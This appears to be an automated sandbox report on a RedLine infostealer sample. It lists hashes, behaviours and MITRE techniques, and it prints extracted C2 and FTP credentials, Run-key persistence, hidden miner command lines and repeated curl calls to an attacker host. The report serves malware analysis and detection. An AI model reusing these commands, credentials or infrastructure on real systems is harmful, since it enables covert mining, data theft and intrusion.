redline | 2c5e97c51a0cd9e1de4085535595a9f90a2ba07974d0e2f17c8648cc3e7b1ad0

Analysis

max time kernel
161s
max time network
163s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
03/03/2022, 08:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
25069c464f72f2bbddee5104f73e20d5.exe
Size 5.0MB
Sample220303-kep7eabgbl
SHA256 2c5e97c51a0cd9e1de4085535595a9f90a2ba07974d0e2f17c8648cc3e7b1ad0
MD5 25069c464f72f2bbddee5104f73e20d5
SHA1 806718b4d638c302af8483db301ee36a1dc0fb13
SHA512 a13f631e3502f6bcdecd433789abe6a1aeafadb4a30cc3bbe4bf4c084ae8ca02d6cc2e16aaf56c85a979bd7246016db67e013aabe62e0e08118eb081e4174871
MD5 SHA1 SHA512

Score

10^/10

redline evasion infostealer persistence spyware trojan upx

Malware Config

Extracted

Credentials

Protocol
ftp
Host
185.53.46.233
Port
21
Username
NewUsing
Password
WyhE45PrKTZcN

Extracted

Family

redline

5.206.227.11:63730

Attributes

auth_value
8de14121fddde7fb9e9f3fc03f73416e

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 1 IoCs

resource	yara_rule
behavioral2/memory/3796-138-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline

Downloads MZ/PE file

Executes dropped EXE 20 IoCs

pid	Process
8	228.exe
2816	3.exe
1356	b.exe
2168	sys64.exe
628	sys32.exe
3496	6.exe
2884	RegHost.exe
532	LinkCriate.exe
2124	Google Extension.exe
3088	RegHost.exe
3500	RegHost.exe
3412	RegHost.exe
3436	RegHost.exe
2432	RegHost.exe
3340	RegHost.exe
1324	RegHost.exe
3016	RegHost.exe
4052	RegHost.exe
2868	RegHost.exe
1784	RegHost.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3608-182-0x0000000140000000-0x0000000142B38000-memory.dmp	upx

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	LinkCriate.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\client.exe	sys64.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\client.exe	sys32.exe

Loads dropped DLL 6 IoCs

pid	Process
2124	Google Extension.exe
2124	Google Extension.exe
2124	Google Extension.exe
2124	Google Extension.exe
2124	Google Extension.exe
2124	Google Extension.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 13 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	228.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe

Suspicious use of SetThreadContext 27 IoCs

description	pid	Process	procid_target
PID 2360 set thread context of 3796	2360	25069c464f72f2bbddee5104f73e20d5.exe	60
PID 8 set thread context of 3608	8	228.exe	83
PID 8 set thread context of 2056	8	228.exe	84
PID 2884 set thread context of 1780	2884	RegHost.exe	91
PID 2884 set thread context of 2432	2884	RegHost.exe	93
PID 3088 set thread context of 3752	3088	RegHost.exe	102
PID 3088 set thread context of 2220	3088	RegHost.exe	104
PID 3500 set thread context of 3472	3500	RegHost.exe	110
PID 3500 set thread context of 2792	3500	RegHost.exe	112
PID 3412 set thread context of 2636	3412	RegHost.exe	118
PID 3412 set thread context of 3936	3412	RegHost.exe	120
PID 3436 set thread context of 1080	3436	RegHost.exe	126
PID 3436 set thread context of 3588	3436	RegHost.exe	128
PID 2432 set thread context of 320	2432	RegHost.exe	135
PID 2432 set thread context of 1012	2432	RegHost.exe	136
PID 3340 set thread context of 2872	3340	RegHost.exe	143
PID 3340 set thread context of 1260	3340	RegHost.exe	145
PID 1324 set thread context of 3936	1324	RegHost.exe	151
PID 1324 set thread context of 832	1324	RegHost.exe	152
PID 3016 set thread context of 800	3016	RegHost.exe	159
PID 3016 set thread context of 3496	3016	RegHost.exe	160
PID 4052 set thread context of 2736	4052	RegHost.exe	167
PID 4052 set thread context of 656	4052	RegHost.exe	169
PID 2868 set thread context of 2472	2868	RegHost.exe	177
PID 2868 set thread context of 1556	2868	RegHost.exe	178
PID 1784 set thread context of 2972	1784	RegHost.exe	187
PID 1784 set thread context of 1184	1784	RegHost.exe	188

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2360	25069c464f72f2bbddee5104f73e20d5.exe
2360	25069c464f72f2bbddee5104f73e20d5.exe
3796	AppLaunch.exe
2056	explorer.exe
2056	explorer.exe
2056	explorer.exe
2056	explorer.exe
2056	explorer.exe
2056	explorer.exe
2056	explorer.exe
2056	explorer.exe
2056	explorer.exe
2056	explorer.exe
2056	explorer.exe
2056	explorer.exe
2056	explorer.exe
2056	explorer.exe
2056	explorer.exe
2056	explorer.exe
2056	explorer.exe
2056	explorer.exe
2056	explorer.exe
2056	explorer.exe
2816	3.exe
2432	explorer.exe
2432	explorer.exe
2432	explorer.exe
2432	explorer.exe
2432	explorer.exe
2432	explorer.exe
2432	explorer.exe
2432	explorer.exe
2432	explorer.exe
2432	explorer.exe
532	LinkCriate.exe
2124	Google Extension.exe
2124	Google Extension.exe
2432	explorer.exe
2432	explorer.exe
2432	explorer.exe
2432	explorer.exe
2432	explorer.exe
2432	explorer.exe
2432	explorer.exe
2432	explorer.exe
2432	explorer.exe
2432	explorer.exe
2124	Google Extension.exe
2124	Google Extension.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2124	Google Extension.exe
2124	Google Extension.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3796	AppLaunch.exe
Token: SeDebugPrivilege	1356	b.exe
Token: SeDebugPrivilege	2816	3.exe
Token: SeDebugPrivilege	532	LinkCriate.exe
Token: SeDebugPrivilege	2124	Google Extension.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2360 wrote to memory of 3796	2360	25069c464f72f2bbddee5104f73e20d5.exe	60
PID 2360 wrote to memory of 3796	2360	25069c464f72f2bbddee5104f73e20d5.exe	60
PID 2360 wrote to memory of 3796	2360	25069c464f72f2bbddee5104f73e20d5.exe	60
PID 2360 wrote to memory of 3796	2360	25069c464f72f2bbddee5104f73e20d5.exe	60
PID 2360 wrote to memory of 3796	2360	25069c464f72f2bbddee5104f73e20d5.exe	60
PID 3796 wrote to memory of 8	3796	AppLaunch.exe	74
PID 3796 wrote to memory of 8	3796	AppLaunch.exe	74
PID 3796 wrote to memory of 2816	3796	AppLaunch.exe	76
PID 3796 wrote to memory of 2816	3796	AppLaunch.exe	76
PID 3796 wrote to memory of 2816	3796	AppLaunch.exe	76
PID 3796 wrote to memory of 1356	3796	AppLaunch.exe	77
PID 3796 wrote to memory of 1356	3796	AppLaunch.exe	77
PID 3796 wrote to memory of 1356	3796	AppLaunch.exe	77
PID 3796 wrote to memory of 2168	3796	AppLaunch.exe	78
PID 3796 wrote to memory of 2168	3796	AppLaunch.exe	78
PID 3796 wrote to memory of 628	3796	AppLaunch.exe	80
PID 3796 wrote to memory of 628	3796	AppLaunch.exe	80
PID 3796 wrote to memory of 628	3796	AppLaunch.exe	80
PID 3796 wrote to memory of 3496	3796	AppLaunch.exe	82
PID 3796 wrote to memory of 3496	3796	AppLaunch.exe	82
PID 3796 wrote to memory of 3496	3796	AppLaunch.exe	82
PID 8 wrote to memory of 3608	8	228.exe	83
PID 8 wrote to memory of 3608	8	228.exe	83
PID 8 wrote to memory of 3608	8	228.exe	83
PID 8 wrote to memory of 3608	8	228.exe	83
PID 8 wrote to memory of 3608	8	228.exe	83
PID 8 wrote to memory of 3608	8	228.exe	83
PID 8 wrote to memory of 3608	8	228.exe	83
PID 8 wrote to memory of 3608	8	228.exe	83
PID 8 wrote to memory of 3608	8	228.exe	83
PID 8 wrote to memory of 2056	8	228.exe	84
PID 8 wrote to memory of 2056	8	228.exe	84
PID 8 wrote to memory of 2056	8	228.exe	84
PID 8 wrote to memory of 2056	8	228.exe	84
PID 8 wrote to memory of 2056	8	228.exe	84
PID 8 wrote to memory of 2056	8	228.exe	84
PID 8 wrote to memory of 2056	8	228.exe	84
PID 8 wrote to memory of 2056	8	228.exe	84
PID 8 wrote to memory of 2056	8	228.exe	84
PID 8 wrote to memory of 2056	8	228.exe	84
PID 8 wrote to memory of 2056	8	228.exe	84
PID 8 wrote to memory of 2056	8	228.exe	84
PID 8 wrote to memory of 2056	8	228.exe	84
PID 8 wrote to memory of 2056	8	228.exe	84
PID 8 wrote to memory of 2056	8	228.exe	84
PID 8 wrote to memory of 2056	8	228.exe	84
PID 8 wrote to memory of 2056	8	228.exe	84
PID 2056 wrote to memory of 3164	2056	explorer.exe	87
PID 2056 wrote to memory of 3164	2056	explorer.exe	87
PID 2056 wrote to memory of 2884	2056	explorer.exe	89
PID 2056 wrote to memory of 2884	2056	explorer.exe	89
PID 2884 wrote to memory of 1780	2884	RegHost.exe	91
PID 2884 wrote to memory of 1780	2884	RegHost.exe	91
PID 2884 wrote to memory of 1780	2884	RegHost.exe	91
PID 2884 wrote to memory of 1780	2884	RegHost.exe	91
PID 2884 wrote to memory of 1780	2884	RegHost.exe	91
PID 2884 wrote to memory of 1780	2884	RegHost.exe	91
PID 2884 wrote to memory of 1780	2884	RegHost.exe	91
PID 2884 wrote to memory of 1780	2884	RegHost.exe	91
PID 2884 wrote to memory of 1780	2884	RegHost.exe	91
PID 2884 wrote to memory of 2432	2884	RegHost.exe	93
PID 2884 wrote to memory of 2432	2884	RegHost.exe	93
PID 2884 wrote to memory of 2432	2884	RegHost.exe	93
PID 2884 wrote to memory of 2432	2884	RegHost.exe	93

C:\Users\Admin\AppData\Local\Temp\25069c464f72f2bbddee5104f73e20d5.exe
"C:\Users\Admin\AppData\Local\Temp\25069c464f72f2bbddee5104f73e20d5.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2360
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3796
- - C:\Users\Admin\AppData\Local\Temp\228.exe
    "C:\Users\Admin\AppData\Local\Temp\228.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:8
  - - C:\Windows\bfsvc.exe
      C:\Windows\bfsvc.exe --algo ETCHASH --pool eu1-etc.ethermine.org:4444 --user 0xDE52C43Eff74263429627E5134c722e966cC16D0 --worker workdual --dualmode TONDUAL --dualpool wss://pplns.toncoinpool.io/stratum --dualuser EQDhRrHL1nN6tF0hGfVeS2b8rh48M8FxKKIHv_T2x9kLqzEZ
      4⤵
      PID:3608
  - - C:\Windows\explorer.exe
      C:\Windows\explorer.exe "easyminer_def" "Microsoft%20Basic%20Display%20Adapter" "RedETC" "etc"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2056
    - - C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=easyminer_def&gpu=Microsoft%20Basic%20Display%20Adapter&worker=RedETC&coin=etc&hash=0.0"
        5⤵
        
        PID:3164
    - - C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:2884
      - C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe --algo ETCHASH --pool eu1-etc.ethermine.org:4444 --user 0xDE52C43Eff74263429627E5134c722e966cC16D0 --worker workdual --dualmode TONDUAL --dualpool wss://pplns.toncoinpool.io/stratum --dualuser EQDhRrHL1nN6tF0hGfVeS2b8rh48M8FxKKIHv_T2x9kLqzEZ
        6⤵
        
        PID:1780
      - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "easyminer_def" "Microsoft%20Basic%20Display%20Adapter" "RedETC" "etc"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2432
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=easyminer_def&gpu=Microsoft%20Basic%20Display%20Adapter&worker=RedETC&coin=etc&hash=0.0"
        7⤵
        
        PID:1580
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3088
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe --algo ETCHASH --pool eu1-etc.ethermine.org:4444 --user 0xDE52C43Eff74263429627E5134c722e966cC16D0 --worker workdual --dualmode TONDUAL --dualpool wss://pplns.toncoinpool.io/stratum --dualuser EQDhRrHL1nN6tF0hGfVeS2b8rh48M8FxKKIHv_T2x9kLqzEZ
        8⤵
        
        PID:3752
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "easyminer_def" "Microsoft%20Basic%20Display%20Adapter" "RedETC" "etc"
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2220
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=easyminer_def&gpu=Microsoft%20Basic%20Display%20Adapter&worker=RedETC&coin=etc&hash=0.0"
        9⤵
        
        PID:856
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        9⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3500
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe --algo ETCHASH --pool eu1-etc.ethermine.org:4444 --user 0xDE52C43Eff74263429627E5134c722e966cC16D0 --worker workdual --dualmode TONDUAL --dualpool wss://pplns.toncoinpool.io/stratum --dualuser EQDhRrHL1nN6tF0hGfVeS2b8rh48M8FxKKIHv_T2x9kLqzEZ
        10⤵
        
        PID:3472
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "easyminer_def" "Microsoft%20Basic%20Display%20Adapter" "RedETC" "etc"
        10⤵
        
        PID:2792
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=easyminer_def&gpu=Microsoft%20Basic%20Display%20Adapter&worker=RedETC&coin=etc&hash=0.0"
        11⤵
        
        PID:4008
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        11⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3412
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe --algo ETCHASH --pool eu1-etc.ethermine.org:4444 --user 0xDE52C43Eff74263429627E5134c722e966cC16D0 --worker workdual --dualmode TONDUAL --dualpool wss://pplns.toncoinpool.io/stratum --dualuser EQDhRrHL1nN6tF0hGfVeS2b8rh48M8FxKKIHv_T2x9kLqzEZ
        12⤵
        
        PID:2636
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "easyminer_def" "Microsoft%20Basic%20Display%20Adapter" "RedETC" "etc"
        12⤵
        
        PID:3936
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=easyminer_def&gpu=Microsoft%20Basic%20Display%20Adapter&worker=RedETC&coin=etc&hash=0.0"
        13⤵
        
        PID:804
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        13⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3436
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe --algo ETCHASH --pool eu1-etc.ethermine.org:4444 --user 0xDE52C43Eff74263429627E5134c722e966cC16D0 --worker workdual --dualmode TONDUAL --dualpool wss://pplns.toncoinpool.io/stratum --dualuser EQDhRrHL1nN6tF0hGfVeS2b8rh48M8FxKKIHv_T2x9kLqzEZ
        14⤵
        
        PID:1080
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "easyminer_def" "Microsoft%20Basic%20Display%20Adapter" "RedETC" "etc"
        14⤵
        
        PID:3588
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=easyminer_def&gpu=Microsoft%20Basic%20Display%20Adapter&worker=RedETC&coin=etc&hash=0.0"
        15⤵
        
        PID:3500
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        15⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:2432
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe --algo ETCHASH --pool eu1-etc.ethermine.org:4444 --user 0xDE52C43Eff74263429627E5134c722e966cC16D0 --worker workdual --dualmode TONDUAL --dualpool wss://pplns.toncoinpool.io/stratum --dualuser EQDhRrHL1nN6tF0hGfVeS2b8rh48M8FxKKIHv_T2x9kLqzEZ
        16⤵
        
        PID:320
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "easyminer_def" "Microsoft%20Basic%20Display%20Adapter" "RedETC" "etc"
        16⤵
        
        PID:1012
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=easyminer_def&gpu=Microsoft%20Basic%20Display%20Adapter&worker=RedETC&coin=etc&hash=0.0"
        17⤵
        
        PID:3324
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        17⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3340
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe --algo ETCHASH --pool eu1-etc.ethermine.org:4444 --user 0xDE52C43Eff74263429627E5134c722e966cC16D0 --worker workdual --dualmode TONDUAL --dualpool wss://pplns.toncoinpool.io/stratum --dualuser EQDhRrHL1nN6tF0hGfVeS2b8rh48M8FxKKIHv_T2x9kLqzEZ
        18⤵
        
        PID:2872
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "easyminer_def" "Microsoft%20Basic%20Display%20Adapter" "RedETC" "etc"
        18⤵
        
        PID:1260
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=easyminer_def&gpu=Microsoft%20Basic%20Display%20Adapter&worker=RedETC&coin=etc&hash=0.0"
        19⤵
        
        PID:3088
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        19⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:1324
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe --algo ETCHASH --pool eu1-etc.ethermine.org:4444 --user 0xDE52C43Eff74263429627E5134c722e966cC16D0 --worker workdual --dualmode TONDUAL --dualpool wss://pplns.toncoinpool.io/stratum --dualuser EQDhRrHL1nN6tF0hGfVeS2b8rh48M8FxKKIHv_T2x9kLqzEZ
        20⤵
        
        PID:3936
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "easyminer_def" "Microsoft%20Basic%20Display%20Adapter" "RedETC" "etc"
        20⤵
        
        PID:832
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=easyminer_def&gpu=Microsoft%20Basic%20Display%20Adapter&worker=RedETC&coin=etc&hash=0.0"
        21⤵
        
        PID:3316
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        21⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3016
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe --algo ETCHASH --pool eu1-etc.ethermine.org:4444 --user 0xDE52C43Eff74263429627E5134c722e966cC16D0 --worker workdual --dualmode TONDUAL --dualpool wss://pplns.toncoinpool.io/stratum --dualuser EQDhRrHL1nN6tF0hGfVeS2b8rh48M8FxKKIHv_T2x9kLqzEZ
        22⤵
        
        PID:800
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "easyminer_def" "Microsoft%20Basic%20Display%20Adapter" "RedETC" "etc"
        22⤵
        
        PID:3496
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=easyminer_def&gpu=Microsoft%20Basic%20Display%20Adapter&worker=RedETC&coin=etc&hash=0.0"
        23⤵
        
        PID:3100
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        23⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:4052
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe --algo ETCHASH --pool eu1-etc.ethermine.org:4444 --user 0xDE52C43Eff74263429627E5134c722e966cC16D0 --worker workdual --dualmode TONDUAL --dualpool wss://pplns.toncoinpool.io/stratum --dualuser EQDhRrHL1nN6tF0hGfVeS2b8rh48M8FxKKIHv_T2x9kLqzEZ
        24⤵
        
        PID:2736
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "easyminer_def" "Microsoft%20Basic%20Display%20Adapter" "RedETC" "etc"
        24⤵
        
        PID:656
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=easyminer_def&gpu=Microsoft%20Basic%20Display%20Adapter&worker=RedETC&coin=etc&hash=0.0"
        25⤵
        
        PID:2520
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        25⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:2868
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe --algo ETCHASH --pool eu1-etc.ethermine.org:4444 --user 0xDE52C43Eff74263429627E5134c722e966cC16D0 --worker workdual --dualmode TONDUAL --dualpool wss://pplns.toncoinpool.io/stratum --dualuser EQDhRrHL1nN6tF0hGfVeS2b8rh48M8FxKKIHv_T2x9kLqzEZ
        26⤵
        
        PID:2472
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "easyminer_def" "Microsoft%20Basic%20Display%20Adapter" "RedETC" "etc"
        26⤵
        
        PID:1556
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=easyminer_def&gpu=Microsoft%20Basic%20Display%20Adapter&worker=RedETC&coin=etc&hash=0.0"
        27⤵
        
        PID:3296
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        27⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:1784
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe --algo ETCHASH --pool eu1-etc.ethermine.org:4444 --user 0xDE52C43Eff74263429627E5134c722e966cC16D0 --worker workdual --dualmode TONDUAL --dualpool wss://pplns.toncoinpool.io/stratum --dualuser EQDhRrHL1nN6tF0hGfVeS2b8rh48M8FxKKIHv_T2x9kLqzEZ
        28⤵
        
        PID:2972
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "easyminer_def" "Microsoft%20Basic%20Display%20Adapter" "RedETC" "etc"
        28⤵
        
        PID:1184
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=easyminer_def&gpu=Microsoft%20Basic%20Display%20Adapter&worker=RedETC&coin=etc&hash=0.0"
        29⤵
        
        PID:1980
- - C:\Users\Admin\AppData\Local\Temp\3.exe
    "C:\Users\Admin\AppData\Local\Temp\3.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2816
  - - C:\Users\Admin\AppData\Local\Google\Apple\LinkCriate.exe
      "C:\Users\Admin\AppData\Local\Google\Apple\LinkCriate.exe"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:532
    - - C:\Users\Admin\AppData\Local\Google\Apple\Google Extension.exe
        
        "C:\Users\Admin\AppData\Local\Google\Apple\Google Extension.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2124
- - C:\Users\Admin\AppData\Local\Temp\b.exe
    "C:\Users\Admin\AppData\Local\Temp\b.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1356
- - C:\Users\Admin\AppData\Local\Temp\sys64.exe
    "C:\Users\Admin\AppData\Local\Temp\sys64.exe"
    3⤵
    - Executes dropped EXE
    - Drops startup file
    PID:2168
- - C:\Users\Admin\AppData\Local\Temp\sys32.exe
    "C:\Users\Admin\AppData\Local\Temp\sys32.exe"
    3⤵
    - Executes dropped EXE
    - Drops startup file
    PID:628
- - C:\Users\Admin\AppData\Local\Temp\6.exe
    "C:\Users\Admin\AppData\Local\Temp\6.exe"
    3⤵
    - Executes dropped EXE
    PID:3496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k wusvcs -p
1⤵
PID:3012

Network

